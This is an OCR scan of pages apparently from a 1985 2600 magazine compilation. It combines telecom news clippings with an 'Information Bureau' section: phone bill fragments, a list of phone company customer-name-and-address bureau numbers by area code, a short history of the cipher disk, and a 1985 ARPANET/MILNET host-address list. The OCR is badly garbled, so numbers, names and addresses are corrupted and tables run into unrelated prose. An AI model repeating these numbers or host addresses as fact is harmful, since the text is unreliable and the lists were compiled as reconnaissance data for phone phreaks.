company. In the agreement, 1BM’'s SBS-Skyline will merge
with MCI. This action comes less than cight months after
IBM’s acquisition of the Rolm corporation, which makes
telephone switching equipment.

Together, MCI and SBS-Skyline will have one of the largest
computerized transmission networks in the nation for voice,
data, and pictures. Consisting of optical fiber, microwave, and
three of SBS satellites, the new network will serve about 2.7
million customers.

Gunnar Hughes, a spokesman for Skyline, said they will
continue to offer the same service, but will eventually merge
with and become a part of MCL. Hughes said that “together
with MCT's terrestrial systems, there will bea synergy. ™ There is
no word yet on any new rate structures for Skyline users, but
Skyline has vowed to inform customers “every step of the way.”
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Dick Tracy Toys Are Closing In
New Yook Daily News

The world’s smallest pocket cellular phone—7 inches long
and just 15 ounces—will be introduced at a Las Vegas
telecommunications show in September.

The Walker Pocket Phone will be a tm‘_lrr version of the
cellular car phone. It will not require a base station and can
operate anywhere and will retail at about $3.000.

54 Taday

At least three American companies have unveiled desk-top
picture phones this year and two more companies plan 1986
releases. Image Data Corp. began delivering Photophone
earlier this vear. The device attaches to an ordinary phone line
in a minute, takes five minutes to learn to operate, and
transmits black-and-white still pictures to its mates in five to
fifteen seconds. It is priced at $8.500.

Datapoint Corp’s recently announced MINX does the same
in color and can alsoattach to a personal computer. Itis priced
from $8.800 to $11.100.

A full-motion color system from Widcom Inc. goes for
$50.000 for a picture squeezer and $20,000 per station. Picture
squeezing is a process that accounts for the fact that only a
small amount of information can be sent down a regular phone
line, and a video signal requires 150 times more information
than a voice signal.

CommusaLions Weck I

Validec Inc. has invented a hand-held terminal aimed at the
restaurant business that allows orders to be placed without the
waiter having to ever leave the customer’s table. The Point of
Origin System is a local area network of printers, terminals, and
computers that can be placed at the bar, kitchen and cash
register. It uses radio frequencies to communicate with the host
computer which can either be an IBM PC AT or AT&T 6300.
In addition. the information display allows the restaurant o
keep track of every item ordered and how many tables a waiter
served on any given shift, This will allow the restaurant owner
to decide which are the unpopular items on the menu and to
examine the efficency of the employees.

Directory Assistance By Computer
Advenming Agc

Since Mav, 1984, when the seven regional telephone
operating companies imposed a 50¢ charge for interstate
directory assistance calls, direct marketers have sought to have
that charge rolled back or eliminated, and also to have the
phone companies make directory information available on
computer tape or directly via computer terminals,

Mountain Bell, based in Denver and serving telephone
customers in ldaho, Montana, Wyoming, Utah, Colorado,
Arizona, and New Mexico, has taken the biggest step in that
direction so far with the creation of a computer system it calls
ScanTel. Available for a month, but as yet unpublicized by the
company, ScanTel allows those equipped with a computer
terminal or personal computer to access the company’s entire
directory database.

The ScanTel database is separate from that used by
directory-assistance operators, although it contains the same
listings. It differs f[rom the conventional database, however. in

that it can be searched not only by pame but by address. Soon
to be added is a reverse directory feature. permitting users to
find out who belongs to a given telephone number.

Users of the system can access it via telephone from anywhere
in the country. A three-tiered pricing scheme has been
established that simultaneously charges 50¢ per minute of use.
25¢ for each request, and 5S¢ for each response. However, the
system can handle requests for multiple addresses, such as all
those on a given street. That would be considered a single
request at 25¢ and each name, address, and phone number
found would cost 5e¢.

Pest Control

Sew York Dailby Nipws

If you own less than 100 shares, BellSouth will pay you 310 to
get lost, The company is shooing away small investors who
clutter up the books and hold only 145 of the 301.9 million
shares. Shareholders who agree will be paid the market price
for their stock, plus $10 to close their account.

Bell Propaganda Films
Subsarban Trend

A suburban street served as a movie set last month as New
Jersey Bell taped a movie about the consequences of cheating
the phone company with computers and other technologies.

The movie, produced for AT&T, is “part of a total deterrent
package,” said Karen Johnson of New Jersey Bell. Although
the full program has not yet been fully developed, Johnson said
one of the videotapes will be targeted toward grammar school
and. high school students. Other groups to be targeted include
vocational students, college students, and members of the
military.

The program is dwlgnnd to make viewers aware of the pltralls
of cheating Ma Bell, using computers to cheal systems, using
false credit cards and other methods of avoiding payment.

Europe Standardizing Telecoms

The Wall Strexd Jousrnal

In Spain, the busy signal is three pips a second—in Denmark
i’s two. Telephone numbers within French cities are seven
digits long—in Italy they're almost any length. West German
phones run on 60 volts of electricity—elsewhere it’s 48.

This list can go on and on; only about 309 of the technical
specifications involved in phone systems are common from one
country to the next. In telephones, as in much else in Europe,
each country has gone its own way. But now the idea of
standardizing telecommunications systems is catching on.
Officials in national governments and at the Common Market
executive commission are pushing it as a way of opening
telecommunications markets and cutting phone bills. Big
equipment makersare supporting it as a way of expanding their
sales abroad.

By the year 2000, telecommunications may grow more than
threefold to 7% of the Commeon Market’s gross domestic
product, topping autos as the biggest industrial sector. Seven of
the world’s top 13 telephone switch makers are European.
Many political and economic issues cloud the standardization
process, because companies stand a lot to gain from these
potential markets, and some have a lot 1o lose.
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Hackers Have Big Business Scared
Svyiem & Sofiwan

Security has emerged in recent surveys as the number one
concern of large corporate micro-mainframe link users.
According to General Electric Information Services Co.
{Rockville, MD), which conducted its own survey, security
problems can be “devastating”™.

Why then are so many large companies still using simple
passwords to access the corporate database from end-usci
PC's? Three reasons are usually piven: a perception that a
password will do the job, that most security schemes are oo
complicated, and the cost of adding a more sophisticated
system.

Bob Lewin, vice president of marketing and sales at Digital
Pathways, Inc. (Palo Alto, CA), is a data-security specialist
with more than 300 installations in Fortune 1000 companies.
He says most large companies are presently satisfied with
password access because it's simple. However, that's slowly
changing. Users, particularly those with a micro-mainframe
network. are increasingly nervous about hackers and other
unauthorized access. Almost anyone doing business with the
government will be required to meel certain minimum
computer security standards that are more sophisticated thana
password,

“One problem with PC-to-mainframe hookups,” says Greg
Hagoplan, marketing manager of On-Line Software’s
Guardian line, “is that PCs are generating official-looking
documents and reports, and there’s no way to prove these ar:
correct. It's scaring a lot of companies. They now have to
monitor uploading as well as downloading of data, so there's
more interest in controlling the PC-to-mainframe data.”

Fiber-Optic Network For Du Pont

Philadelohss | aupnter

Diamond State Telephone Co. will build a $15 million, 40-
mile fiber-optic telephone network for the Du Pont Co. in New
Castle County, Delaware.

Du Pont’s voice and computer data network is a way of
bypassing the phone company’s network—something that
phone companies throughout the nation fear.

Campaign Contributions On-Line
ol Sews Serviee H Alcuamder

“Campaign finance has continued 1o be a growth industry,”
said Bob Biersuck of the Federal Election Commission. And he
wants 1o keep it that way. He was explaining to the third
standing-room-only gathering of consultants and reporters
how the home computer owner can access the data on who gives
what to politicians running for federal offices,

Home computer users now may tap into the information and
download. The FEC charges $1.000 for a calendar month or
$50 for an hour of connect time. You can access the FEC
through any Telenet port in the U3,

Subscribers will get a unigque [ and pick a password. The
FEC does not own the computer; it leases time on National’s 40
megabyte machine at Fairfield. Virginia. National has been the
FEC's contracter since 1976, [Of course, such information
should be made available to anyone at little or no fee. Typical--
a country where national parkland is sold dirt cheap to
developers, and public information is sold at mint prices to
individuals.]

AT&T Info Charges Upheld

Communaarion Week

The U.S. Court of Appeals has refused to strike down the
rates AT&T charges for its interstate directory assistance.

The court swept aslde arguments by the Direct Marketing
Association and MCI that the FCC had prescribed rates that
are too high and that discriminate against customers who use
AT&T's long-distance compelitors,

The FCC in May 1984 told AT&T it could charge no more
than 50 cents per interstate information call and suggested that
it allow customers two free calls each month. AT&T has
followed those guidelines, but offers the free calls only to those
who selected AT&T as their primary carrier,

ATE&T has told the FCC that it will raise its rates to 60 cents if
new access Lariffs filed by the nation’s telcos go into effect.

More Use of Phone Computers
Associaied Press

The government has proposed sweeping revisions of its rules
in order to allow-Amerncans to program high-powered phone
company computers to leave or take messages, ring several
phones to deliver a message at a set time, or screen unwanted
calls,

FCC Chaiman Mark S. Fowler said the commission wants
to “promote more efficient use of the network ™ that telephone
companies have to“bring technological benefits to the common
man,”

AT&T Washington spokesman Herb Linnen said, “Thisis a
positive step forward because it can focus attention on the
critical need to remove artificial restraints that currently inhibit
the introduction of innovative services that customers want.”

Because telephone companies have a line going into almost
every home and office in the country and because of the
installation of sophisticated computer equipment, telephone
companies appear to be in a position to offer “voice messaging™
services.

More Divestiture Woes
Mew Yook Danky Neowi

A Jamaica (NY) attorney has sued the New York Telephone
Company and AT&T for 525,000 for their failure to fix a
telephone in his office since May 1. He said both companies
claim it is the other’s responsibility and that, in exasperation, he
decided to let them fight it out in court,

The attorney, Patrick Beary, who is also an administrative
law judge in Manhattan, said he believes the root of his trouble
is the “break-up of the old AT&T.™

Headded, *"AT&T claims it is not their responsibility because
the problem is due 1o faulty New York Telephone lines; and
New York Telephone takes the position that it is the fault of
defective AT&T equipment in my office.”

However, he said, one good thing came out of the break-up-——
his discovery that he has been paying rental charges for a phone
in a Jamaica apartment he vacated 20 years ago. He said he
made that discovery after AT&T sent him a bill listing a
breakdown of its charges—something that had not been done
before the AT&T break-up.

Beary said he is suing both companies for $25,000 to cover
the loss of clients and business he has sustained, along with
overcharges he has paid for phone equipment he hasn't used in
20 years,

“The irony of it all is that I'm a stockholder in AT&T." he
added.
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Avoid Phones in Storms!
The Mew Brenswick Home News

Prompted in part by the mysterious “phone death™ of a
Piscataway, New Jersey youth, a federal governmental agency
has begun persuading telephone companies throughout the
nation to warn consumers not to use telephones during
clectrical storms.

The Consumer Product Safety Commission recently sent
letters to the nation’s seven regional phone companies, asking
them to consider publishing advisories in their directories.

Rural Customers Denied Access
2alE) Mews Serve

On March 1, in an effort to help customers of small
independent phone companies, the FCC ordered that any
independent teleo must offer equal access within three years if
any legitimate long distance company requested it. Step-by-
Step switching equipment, first introduced in 1917, and
crosshar switching equipment, first introduced during WW 11,
are not sophisticated enough to handle the electronics of equal
ACCESS.

In Sussex County, New Jersey, long-distance companies
have not requested equal access, because of the antiquated
switches there. This means that people cannot choose any
carrier they wish from their company—United Telephone.
Companies like MCI and Allnet said they simply could not
work with the technology that United offers.

What the FCC has decided to do in cases like this is offer the
smaller independent companies three years to install the
necessary equipment and upgrade their systems after they
receive any requests from long-distance companies, requests
that are likely never to come in Sussex County. They hope that
the small companies will eventually replace their switches with
digital technology when they wear out, but an FCC engineer
says that “It’s probably always cheaper to fix stepper switches
than replace them.” He said, “I guess that could be done
forever.”

Police Dept. Wants Cellular Phones
Woawatnd Press

The old and often inoperative emergency telephones along
city highways in New York will be replaced by new cellular
telephones that cost less and are easier to maintain, according
to the police department.

The department did not want to replace the system with
similar telephones that could be knocked out of service in bad
weather, and the technology for outdoor cellular telephones,
which operate over the air. had not been developed until
recently. A prototype placed on the Bronx River Parkway at
Allerton Avenue in February has operated flawlessly,
according to a spokesman.

Toll-free From Where?

Kewters

AT&T has applied to extend its international toll-free service
to South Korea and-the Dominican Republic, allowing people
in those nations to make toll-free calls to American companies.

Toll-free calls using the 800 service over AT&T lines
currently is available from Canada., France, Bermuda, the
Netherlands, the United Kingdom, and Antigua.

The telephone company said U.S. customers subscribing to
the service from Korea would pay 5135 an hour or $2.25 a

minute, while it would be $87 an hour, or $1 .45 a minute from
the Dominican Republic.

Pacific Cable Planned

e New York Times

Nine American telecommunications companies, led by
AT&T, have applied to build and operate the first fiber-optic
cable system to span the Pacific Ocean.

The undersea system would have two parts—a 7,200-mile
segment connecting California, Hawaii, Guam, and Japan and
a | ,500-mile link between Guam and the Philippines.

In addition to AT&T, the companies seeking approval from
the FCC for the systems are Hawaiian Telephone, [TT World
Communications, MCI International, GTE Sprint, Western
Union Telegraph, RCA Global Communications, FTC
Communications, and TRT Telecornmunications.

Meanwhile, an AT&T ship has been installing, in nearly
9,000 feet of water, the worldes first deep-water fiber-optic
system, which will connect two of Spain’s Canary Islands,
Tenerife and Grand Canary. It will have 1o withstand pressures
exceeding 12,000 pounds per square inch.

Free Kiddie Dial-It Calls

Communications Week

Bell Atlantic Corp. revealed that it is not charging
subscribers for 976 “dial-it" calls if the customers report that the
calls were made by unsupervised children or through other
inadvertent household hi-jinks.

The policy. described by the company as a “compassionate™
approach, is designed to save the pocketbooks of parents whose
toddlers ring up hundreds of dollars in calls made to recordings
of Santa Claus or Muppets. Such cases have drawn consumer
outrage around the country and at least one class action suit in
California court. '

Bell Atlantic said that while the company is willing to give
consumers a break the first time they report telephone misuse,
and even possibly the second time, consumers who continue
running up charges won't be able to duck payment indefinitely.

AT&T to Read E-Mail

Norwach Stad-Ledger

AT&T has begun offering a letter opening service for
electronic mail users.

It's called Message Access Service, and the target is business
people who travel and need frequent access to their electronic
mailboxes.

The service will be provided through electronic mail service
vendors or corporations that have their own such service.

ATE&T's first customer is Compuserve, which offers its
Infoplex service to some 160 corporations. Electronic mail
customers will dial 800 numbers to reach the AT&T message
access center in Norfolk, Virginia to receive or send messages.

Attendants at the center will act as surrogates for the mailbox
user, reading messages for customers orentering messages into
the vendor's database. Each database is owned and operated by
individual electronic mail vendors, and not by AT&T. Vendors
will be billed monthly for the total number of minutes that
subscribers use. Prices will be based on volume, AT&T said.

Vendors will in turn bill subscribers for the service.
Compuserve will charge its customers $1.50 per minute plus
normal Infoplex charges. The service is available now from any
telephone, according to an AT&T spokesman.
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Super Crisis Alert System
Linatesd Preid |atedvut lonal

An emergency warning system that would ring telephones in
homes of residents threatened by chemical spills or dangerous
weather could be in place in Mew Jersey within a few years,

The system, now being studied by state emergency officials,
could ring up to 100 phones in affected areas simultaneously. It
could shift from area to area within minutes.

“When someone picks up the phone, a recording would
provide information on evacuation procedures, shelters, or
other important information, " said a member of the state police
emergency management team. A drawback to the system may
be that it would overload the phone system,” he said.

Another system under study would automatically increase
the volume of radios in affected areas. Currently, the state relies
on an emergency broadcast system, which sets off municipal
sirens and alarms and triggers emergency broadcast tones on
radios.

Super Pay Phone
Communicaiions Weck

Advanced TeleSystems Ltd. introduced what it claims is the
country’s first coin and credit card-operated pay phone.

The modularly designed, stand-alone Marcom XL phone
can be programmed to internally verify any number of credit
cards, and it will accept mixed payment of both coins and credit
cards. An option to use the phones’ external credit card
validation capability to replace point-of-sale verification
devices is in the works,

The phone requires a 40-cent surcharge over AT&T s Direct
Distance Dialing rates for credit card calls and features least-
cost routing.

The phones rely on electronic, optical, and magnetic
switches, including a magnetic switchhook without a button
and infrared optical reading of the keypad. A 300-word
vocabulary voice prompting system reads the keypad numbers
as they are pressed and tells incoming callers that it will not
accept collect calls. The call-prompting feature can be
customized for individual customers allowing companies to
add messages [such as “Thank you for subscribing to 2600," for
example.]

The phones have only a $150 coin box to reduce the incentive
for vandalism. The phones also use ATS" new paperless coin-
box accounting system, which uses a hand-held computer to
fight coin-collector fraud.

Phones at High and Low Speeds
Comemunaaliom Wk

Airfone Inc., which provides phone service on major airlines,
will begin public telephone service on Amtrak's Washington-
to-New York Metroliner in late January.

There would be three phones on each train. Amtrak has
converted a railroad cardressing room into an office with desks
and phones, but there will also be standard telephone booths.

Calls will be made by sliding any major credit card through a
rcader on the phone. Once the card is validated, calls can be
dialed directly to any location in the U.S., including Alaska,
Hawaii, and Puerto Rico.

There were phones on the Metroliner until 1981 when the
U.S. government, which lent the radio frequency used for the
service lo AT&T, asked for its return for government use.

Meanwhile, NewVector Communications said it is testing

credit card cellular mobile phones on the Metro Transit Public
Bus System and the Washington State Ferry System in Seattle.

AT&T Offers E-Mail

Communsation Wesk

AT&T Information Systems and AT&T Communications
have joined together to offer an electronic mail service which
will resemble MC1 Mail, but will be priced slightly lower. For
instance, the sign-up fee is said to be §12, compared with MCl's
£18 charge. Delivery of a 400<character memo would be 40
cents and an electronic letter would be 80 cents. Also, AT&T
Mail would feature $1.25 cash-on-delivery option [collect
electronic mail?] and an interactive chat mode, priced at 45
cents per minute of connect time. AT&T will reportedly charge
a half-cent per day for storage of each message and will charge
an extra 40 cents for a letter written while connected to the
system.

Dreams of GEnie
Communication Wk

General Electric Information Services announced a new
database services network for home personal computer users
called GEnie, or General Electric Network Information
Exchange. It is an addition to GEISCO's traditional corporate
customer base. The service will primarily use excess nighttime
capacity on GEISCO's packet-switched network.

It will cost only $5 per hour for either 300 or 1200 baud
service. This is considerably less than CompuServe and the
Source, which charge up to 60 percent more per hour, and carry
a surcharge for 1200 baud.

GEnie services include electronic mail, bulletin board,
Business Band Real-Time conferencing, a CB-like service
adapted for business use and said by the company to be unique
to GEnie. GEISCO intends to add online shopping and travel
services in 1986 and then additional newsletters and services
after that.

Subseribers can sign up using their home computer by calling
BO0D6388369, then entering “H, H,H,"” then *5™ and then
“5IM11993,GENIE."”

German Phone System Stagnant
Wall Street Journal

How does one begin to come 1o terms with the West German
Post Ministry, which wields a communications monopoly so
rigid it once barred the Mickey Mouse telephone?

In this era of telecommunications liberalization around the
world, the ministry—which controls virtually all forms of
transmitted communication in the country and annually doles
out 56 billion in contracts—remains, in the view of many, an
ancient anomaly.

Ever since the first Bell telephones arrived in Berlin a century
ago under the waichful eye of Postmaster Heinrich von
Stephan, the telecommunications industry has been carefully
regulated by government. At first, both the phone and the rules
were simple. Today, a huge bureaucracy (some 540,000
employees) follows a maze of regulations, some of which date
back to the 1920s and 1930s, in dealing with a rapidly changing
technology.

[By the way, the Mickey Mouse phones were barred because
designer phones were unable to withstand being dropped from
a height of one meter, one of the many requirements.]



The 2600 Information Bureau

The “Page 5 feature from 1984 was renamed to “The 2600 Information Bu-
reau” in order to be more clear in what this part of the magazine was all
about. As in 1984, various bits of data were printed here, everything from
lists of phone numbers and computer addresses to bits of phone bills and
lists of acronyms. Two pages were usually devoted to this section. Back then,
data of any sort was considered valuable information and the content we
printed often resulted in a crisis of some sort for those who were trying to
keep it secret. Other times, it served as a public service, such as December’s
listing of every BBS number we could find. As with other features, “The 2600
Information Bureau” didn't appear in August due to the crisis we were facing
with our own BBS being seized by the authorities.
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MNew York Telephone
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DEC 19, 1984 ATTCOM PAGE 1
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TAX: FEDERAL 3% .66 S/L  7.25% 1.52 2.18
ATAT COMMUNICATIONS CURRENT CHARGES 2%4.02

BILLING INQUIRIES CALL ATEZT COMMUMICATIONS 1-800 222-0300
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THERE IS NO COMNECTION BETWEEN WEW YORK TELEFPHONE AND AT&T COMMUNICATIONS. YOU
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issues will remain $1 apiece.
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How to Use the Dial Telephone
To 'c'ﬂ.E a number in bl office: Move the dial clockwise until your finger strikes the finger stop.
Let’s say the number is 254, Remove your finger and allow the dial to turn back. Do not push
Remove the receiver, the dial back.

Listen for the dial tone—a steady humming sound. Dial the figures 5 and 4 in the same way.

Flace your finger in the opening over the figure “2.” When you hear a burr-burr-burr sound, the called telephone is ringing.

If you hear a buzz-buzz-buzz sound, the called telephone is busy. If
you hear this “busy” signal hang up the receiver and try the call
later.

1f you make a mistake in dialing, replace the receiver for a few seconds
and begin again.

If you have trouble dialing, replace the receiver for 2 few seconds,

then dial the Operator and she will help you.

DETACH HERE ———

BEFORE CASHING

@ New York Telephone

L [Tl R ST T ol (W TR YT T S I A Here are some of the things we're doing to improve Public Telephone Service —

. , = We've also added equipment to make Public
= Public Telephone repairmen are patrolling the Telephones more resistant to tampering and vandalism.
streets constantly to insure quick repairs.
® You can help too . . . by calling repair service when you

» We've inﬂtalied HE:H' equipment to alert us when a see a Public Telephone out of order. We'll fix it fast,
Y ephans. 18- COL o Brdeh And of course, there's no charge for the call.

BE SURE YOU DIAL CORRECTLY ... IF IN DOUBT LOOK UP THE NUMBER
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201-8676-7070
4-343-7014
203-789-£B13
204-949-0500
205-9B-7000
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03=393-B177
415-343-2841

e e P o Wil i i) o il i ol el i P 3 =
R B b T R e R A e £ ek i B
Hmwmwﬁhnjhl_rqﬂ.p-umhq*m
‘HUIMMH'HMEE‘LHMHLH*&‘&LH
7
[
el
|

ed
—
T
el |
P
]

o
==
B3
o~

S18-471-B111
Elo-275-1762
T-260-4B34
S04=245-5330
402-345-0600
L17-787-5300
402-3E0-0255
A03-475-2052
01 2-7B4-0440
405-236-0121
03-293-8777
415-343-6374
T13-Bb1-7194
412-633-3800

10/84

10/84
1/83

1785

d
10784
d

1783

New dersey
Washington D. C.
Connecticut
Hanitaoba (1)
flabama
Hashington
Haine

[daho
California
Wew ¥ork
California
Texas .
Pennsylvania
Ohio ~
I1linois
Minnesota
Indiana
Haryland

el aware
Coloradn
Hest Virginia
Florida
Saskatchewan (B
Hﬂllil‘lE
Nebraska
111inois
Illinais
Hichigan
Hissolri

Hew Yark
kansas
Indiana
Louisiana
[owa

fikode Is]land
Hebraska
flbarta (1)
brargia

Okl ahoaa
Hontana

Lalitornia

Texas ]
Fennsylvania

NPA CH/A Mumber
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ahamas, Bersuda, Dosinican Repu

The Cipher Disk

a04-548-3041
A07=3B0-0255
206-382-5124
1 2-828-2501

3 eld-dp4-0123

G14=394-7440)
402-580-0235
alB-471-8111
313-223-2450
J1B-471-8111
416-979-1459
601-761-0138
E-293-8777
o17-787-5500
604-432-29%4
402-580-0233
302-387-234]
ala-471-g111
608-232-0932
201-675-T070
407-580-025%
A16-579-3449
oi4-464-0123
Bl3=373-3791]
3-223-B690
6L7-TBI-3300
217-525-3800
Bl8-501-7251
402-580-025%
415-543-2861

.....

Rev.

b
11784

State {#=Province)
Hassachusetts
Wisconsin
California
Ontario (1)
Hissouri

Guebec (4

Dhig

Arkansas
Kentucky

Oregan

Loui 5iana

New Hexico

Hew Brunswick (1)

135 Hinnesota

11/84

1783

1/B3

1/83

Hazhington
Texas

Ohio

Qushec (4]
lowa

New York
Hichigan

Hew York
Ontario (1)
Hississippi
firizona

Hew Hampshire
British Colusbia(t)
South Dakota
Kenturka

Hew York
Wisconsin

New Jersey
Hinnesota
Onkario 18)
Ohio
Tennessee
Hichigqan
Nassachusetts
[1linois
California
Horth Dakota
Nevada

NFA

CHfA Number Rev.

aEEpmasERAREEE

304-380-0255
T12-784-0440
416-979-3449
413-343-6374

B13-27B-T871
412-633-3600
N F-323-3800
a16-275-2782
214-464-7400
B18-5301-7231
J14-287-3151
201-676-T070

613-373-57%1

912-784-0440

1/B5

183 1

This simple device has a distinguished history. Ever since its first
invention it has been repeatedly re-invented in forms only slightly
different Trom the original. Its story shows thar man has sought 1o pul
the wheel 1o use in secrel communications wherever possibile, even as he
also does in mechanics,

As invented in [aly sometime befare 1470, it had similar concentric

disks with the exceplion that one contained a

“maxed"” (scramibled)

alphabet. Also, in some of the earlier versions, one af the two alphabers
was composed of arbitrary symbols in lise of conventional characters,
The appeal of the disk Lay in the fact that with @1, encipherment
and decipherment could be performed  withouwt carrying bulky or
COmpromising writlen materials.
The cipher disk came into large-scale use in the United $iates for
the first time in the Civil War, The Federals' Chief Signal Officer
patented & version of i1, very similar 1o the original [talian disk, for use
in fag signaling. Simce his flag stations wers within the view of
Confederate signalmen as ofien as not, he prescribed frequent changes of

selting.

About @ hallceatury lates the U5, Army adopred 2 simplified
version. wery similar 1w this device, in which one alphaber was
Ustzndard' and the other *reverse-siandard.” Although technically this
Was 4 siep backward, there were compensating advantages since the
regularity of the alphabets tended to reduce erfor. During the period of
the First World War and for several years aflesward, the Army issued the
disk in this ferm 1o units that needsd 2 cipher which could be carried
and used easily and which would give a few hours' protection to tactical

MESLAgES

In using this device you could leave the two disks in the same
seiting for an entire message, thus producing the simplest  possible
cryptogram. Or their setting could be changed with every letter af the
message and, if the pattern of the selting-changes were complax enough,
you would have an extremely secure cipher.

State {t=Province)

TR R E RN RA AR

“1r¥inia ]
Noi-th Carplina
Ontario (1)
California
Hewfoundland 1%)
oWa

Texas
California
Winconsin

Hew York
Fennsylvania
Hew York

Utzh

Vermont
Sputh Carolina
Virginia
California
Texas

Ontario (41
Hawaili
Caribbean
Indiana

Florida
Pannsylvania
I1linpis
Hissouri

Texas
California
Buebec (8]
Dial-1t service

special area code (SAC)

Tennessee
Wova Scotia ()
Florida
Hichigan
flaska

Geargia
Kansas

New York

Texas
Lalifornia
Oklahoma
North Carolina
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STATE /COUMTRY
HOBT HWAME

ALABAHA
AMNIS=MIL=-TAC
OUHTER-ADAM
BUNTER-TRLC
MICOm=TALC
HICON-TEST

#APD

FRAMEFURT-MIL=TAC

ARTIIONA
YUHA-BW
YuUMA=TAC

CALIFORMIA: Mortharn

A=LHI=-BRI=-03
AIDB-UNIX
AHELITA-EGC
AMEE-MAB-8MW
AMED-TAC
AMEB-VHMEBEB
FNOC-BECURE
KESTREL

LBk

LEL-CBAN
LEL-MILMNET-BH
LLL=-CRE
Lik=HFE
LLL=TIS
LLL=-IDIVIBIDMN
HPE

NPE-TALC
OFFICE=1
QFFICE-1O
OFFICE-13

OFF ICE-2
OFFICE=3
OFFICE-7
QFFICE-8
PARC-HANE
PARC=WAKC
RIACE-BM
RIACE=ICARUSG
ai1=A

81-B

B1-B-0M

Ei=C

GRI=-A1
BRI-CIETHER-BM
SRI=CHL
BRI-Fa&

BRI-BM

BRI=IW

BRI=KL
BRI-HIL-TAC
SAI=AILNET=0M
BRI-NIC
BRI-FR—BM1
BRI-PR-BWZ
SARI-PR-0GW3
BRI-BPAN-TEBT

BRI-EARF

ﬂ‘HHTﬂRﬁ—ﬂHT:HﬂT

SU=#
BU-BCORE
BU-TAC
BURER=-ATH
UCB-ARPA
UCB-VAX
UBEEI=TALC
uBDE3I=-vnE
1ERDX

CALIFORHIA: Boukthern

ACC
ACCAT-TAC
ADA-VAX
AEROHE T -0W
AERQBFACE
AFSC-80
AFBEC-BD=TAC
CIT=240
CIT-CB-BH
CIT-WaK
EDWARDG=20460
EDMARDE-VAK
181-BATEWAY
I81=HODOOBLIN
18| -HCOM-BW
IBI-HILMET—BMN
181-PNELL
I1G1=FRAT=I
181-8PEECHI 1
IGI=VALA
JPL-VLBI
LOBICDN
MARTIN=ED

NOBC-BM
HOBC=BECURE2
MOGC-RECURES
WOBC-TECR
MPRDC

WPADC=0M
WTEC-TACDEW-8D1
HMC-3&03
HWC=3874
HWWC=307R
HWC-TAC
RAMD-ARPA=-TAC
RAND=LUMEX

APRIL 1985

LOCATION
HDET ADDRESE

2h.2.0.113
24.1.0.13
26:2:.0.13
2b5.2.0.41
FLTE TN ]

26,.0.0.114

28.3.0.78
28:2.0.73

10.7.0.91
10.2.0.9&
Bl M Ds

2&,.4.0.14
6. 1.0 18
2h.3.0.16
. 3.0:33
10,3.0.32
Th.0.0.34
2h.1.0.34
10, 0. 0. 68
26.3.0.21
Z6.1.0.21
Zh.0.0.21
Fh. 2. D21
T0.0.0.33
28.2.0.33
Zh.0.0.43
Z4.1.0.93

10 2.9 32

ZhobaD. &5
28.2.0.38
A D0, 103
26.8.0.465
a2 0. 85
240,00, 865
2L 1.0.83
10.0.0,34

19 1.0, 54
10:1.0,34

286.1.0.3%
28.0.0,3%
103, 0,27
102 1.0.32
10.1.0.22
19, 2.0, 22
10.1.¢.27
10 3. 0. 22
10.0,0,22
10.2.0.27
10.3.0.34
LT TRk

26.3.0.45
Zh. 0.0 3

2b.4.0,33

26.1.0.83
24.0.0.83
28.3.0.03
24.2.0,83
10.2.0.7
10.3.0.7

i7-Gep-84
BITE ADDRESS

UBACC = Annlston

Alr Farces Data Systess
filr Force Data Gysteas
fAray Missile Comaand
Army Hisslls Cossand

Dafenas Communicatland AQERCy

Aray Yuasa Proving Ground
Army Yuma Proving Braund

GRl Intarnational
advancad Inforsation
HABR

HASA

NADA

HABA

Havy Flast MNusericasl
Esstrel Instituts
University of Callfornia
Univaralty af Californmia
Lawreance Berkelesy
Univarsity of Califarnia
University of Callfarnia
University of California
riveralty of California
Haval Fostgraduate Bshoal
Haval Postgraduats Behool
Tymahare, IAc.

Tymahare, Inc.

Tyashare; Inc.

Tymshare, [nc.

Tymashare, IRc.

Tymahara, LInc.

Tymshare, Inc.

fwron Corporatian

Ywrogn Corparatliaon
Ressarzh Imstituts for
Ressarch Inetitute for
University af California
University of California
Univearsity of California
University of Californmia
BRI Internatienal

BRI International

BRI Intw tional

BR]l International

BRI International

BRI Internaticnal

BRI Internaticnal

BRI latsrnational

ERI Intwrnational

ER]l lantsrnational

BRI International

BRI Intsrnaticonal

BRI International

BRI lantermnatlicnal

BRI Intermational

BRI International

BRI International

ERI Intsrnational
Btantord Unidw
Gtantord Unlw
Btanford Univermlty
Brtanford Universlty
Standford Uplveralty Medical
Unlverality of Calidornia
University of California
U.B., Owological Burvey
U.B. Deslegleal Burvay
isrod Corporation

Advanced Coapubter

Naval Oeman Bystsms Center
UEC

The Asroupacs Corperation
The Asarcspaces Corporation
flry Force Bystess Coasand
Alr Farce Bysteas Cosasand
CALTECH

CALTECH

CALTECH

Edwards AlrFr Forcs Bams
Eduards Alr Force Dass

Jat Propulslon Laboratory
Logicon, Inc.

Hartin Maristta Corporation
Haval Ocean Canter
Haval Dcman Center
Haval Ocean Cantar
Maval Ocean Canter
Haval Desan Canter
Haval Ocean
Haval Personnael Ra

Ha Parscnnel Ressarch
Bperry Technical Servicas
MHaval WMepapons Center
MHaval Wesaponsa Cantar
Havil Weapons Center
MHav&l HWsspons Canter

The Rand Corperation

The Rand Carparation

RAMDZ2-HMIL-TAC
UCLA=-ATE
UCLA=CCN
UCLA-LOCUS
UCLA-TEBT
usc=ECL
UGC=ECLD
UBC-ECLC
UEC-181
USC-161I0
UAC=181IC
uUBC-18ID
UBEC=-101E
uBc=181IF
UWEE=TALC

COLORADOD
UEESZ-HULTICE
UEBE8Z-TAC

COWMECTIEUT
NUBC

DELAMARE
UDEL-EE
UDEL-0w
UOEL=RELAY
EWBLAND
MINET-LOM-EN
AINET=LOM=TAC
FLORIDA
AFBC-AD
AFBEC-AD-TALC
EOLIM=VAK
JAKL-MIL-TAC
MARTIN
HART IN=-B
MCEC
GEOREIA
IBHIRB-FORGCOH
1ANIAG=-FTOILLA
RODING=TALC
ROBIMBE-UMILX
BERMANY
pCA=-EUR
HINET-BRM-TAC
MIMNET-HOL=TAC
MINET-0BL—-EN
MIMET-DBEL-TAC
MINET-RAM-TAGC
MINET=VHN=EN
MINET-VHH-TAC
FATCH
BECKENHE IM=-EMH
HANATL
CIMCPAC-TAC
HAMAL I-EMH
ILLIMOIG
AFCC-1
AFCC=2
AFCC=3
AFCC-4
AHL-MCE
COMPION=VHE
SCOTT-TAC
BCOTTZ-MIL-TAC
IHD1AMA
PURDUE=CE=0m
PFURDUE-X23
ITALY
CFO
HWIMET-CFPO-TAC
HINMET-B1BE-TAC
KOREA
KOREA-EMH
